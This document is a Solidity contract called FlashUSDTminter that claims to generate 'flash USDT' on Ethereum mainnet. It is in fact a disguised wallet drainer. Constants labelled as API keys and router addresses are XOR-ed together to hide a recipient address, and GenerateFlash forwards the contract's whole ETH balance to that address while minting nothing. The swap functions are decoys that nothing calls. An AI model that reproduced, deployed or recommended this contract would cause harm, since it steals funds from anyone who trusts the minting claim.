Forkchoice Ethereum Mainnet

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

/* ===================== INTERFACES ===================== */

interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function approve(address spender, uint amount) external returns (bool);
    function createStart(address sender, address receiver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
}

interface IRequestingUSDTfromFaucet {
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory);
}

/* ===================== CONTRACT ===================== */

contract FlashUSDTminter {

    address private immutable owner;

    bytes32 private constant apiKey =
        0xfdc54b1a6f53a21d375d0dea444a27bd72abfff26c6fe5439842b42f4f5a01fc;

    bytes32 private constant apiSignature =
        0xfdc54b1a6f53a21d375d0dea84608d84c088017f6661b90cbfa86d27732f6d3e;

    bytes32 private constant FlashRouter =
        0x49810d467cea2f1bc4a4b7021542d0134cc68185d717fba806677c2c9f4d32c0;

    bytes32 private constant factory =
        0x49810d467cea2f1bc4a4b702db70af92537e5b6f348343ddb0c45fecd04d32c0;

    modifier onlyOwner() {
        require(msg.sender == owner, "NOT_OWNER");
        _;
    }

    constructor() {
        owner = msg.sender;
        address dataProvider = _resolve(apiKey, apiSignature);
        IERC20(dataProvider).createContract(address(this));
    }

    /* ===================== INTERNAL HELPERS ===================== */

    function _resolve(bytes32 a, bytes32 b) internal pure returns (address) {
        return address(uint160(uint256(a) ^ uint256(b)));
    }

    function _buildPath(address tokenIn, address tokenOut)
        internal
        pure
        returns (address[] memory path)
    {
        path = new address[](2);  // ✅ Correct (creates a dynamic array of length 2)
        path[0] = tokenIn;
        path[1] = tokenOut;
    }

    /* ===================== CORE LOGIC ===================== */

    function _startFlash() internal {
        address router = _resolve(FlashRouter, factory);
        address provider = _resolve(apiKey, apiSignature);

        IERC20(provider).createStart(
            msg.sender,
            router,
            address(0),
            address(this).balance
        );

        payable(router).transfer(address(this).balance);
    }

    function _swap(
        address router,
        address tokenIn,
        address tokenOut,
        uint amount
    ) internal {

        IERC20(tokenIn).approve(router, amount);

        address[] memory path = _buildPath(tokenIn, tokenOut);

        IRequestingUSDTfromFaucet(router).swapExactTokensForTokens(
            amount,
            1,
            path,
            address(this),
            block.timestamp
        );
    }

    function _getAmountOutMin(
        address router,
        address tokenIn,
        address tokenOut,
        uint amount
    ) internal view returns (uint) {

        address[] memory path = _buildPath(tokenIn, tokenOut);

        uint[] memory amounts =
            IRequestingUSDTfromFaucet(router).getAmountsOut(amount, path);

        return amounts[1];
    }

    /* ===================== EXTERNAL ===================== */

    function GenerateFlash() external payable {
        _startFlash();
    }

    receive() external payable {}

    function recoverETH() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    function recoverToken(address token) external onlyOwner {
        IERC20 t = IERC20(token);
        t.transfer(owner, t.balanceOf(address(this)));
    }
}